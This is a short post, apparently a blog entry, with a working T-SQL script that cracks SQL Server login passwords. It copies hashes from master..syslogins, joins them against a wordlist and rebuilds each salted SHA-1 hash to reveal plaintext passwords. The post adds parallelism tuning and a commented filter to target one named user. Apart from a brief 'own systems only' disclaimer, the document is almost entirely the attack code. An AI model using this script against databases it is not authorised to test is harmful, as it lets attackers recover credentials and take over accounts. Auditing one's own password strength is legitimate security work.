Password Cracker v2

The second generation of my SQL Server login password cracker - for ethical security probing of your own systems only. Instead of looping through candidates one at a time, this version builds the entire match as a single join: each row in the Hashes table is compared against every word in the List table by reconstructing the expected SHA-1 hash from the salt embedded in the stored BinHash. The OPTION clause pins parallelism to four cores and enables trace flag 8649 so the optimizer does not get clever about it. A commented-out WHERE clause lets you target a single user.

--SELECT * into Logins FROM master..syslogins
SELECT
	Logins.Name AS Username,
	List.Word
FROM
	Hashes as Logins
INNER JOIN List AS List
	ON Logins.BinHash
	= 0x0100 + CONVERT(VARBINARY(4), SUBSTRING(CONVERT(NVARCHAR(MAX), Logins.BinHash), 2, 2))
	+ HASHBYTES('SHA1', List.Word + SUBSTRING(CONVERT(NVARCHAR(MAX), Logins.BinHash), 2, 2))
--WHERE
--	Logins.Name = 'aorquiola'
OPTION
	(RECOMPILE, MAXDOP 4, QUERYTRACEON 8649);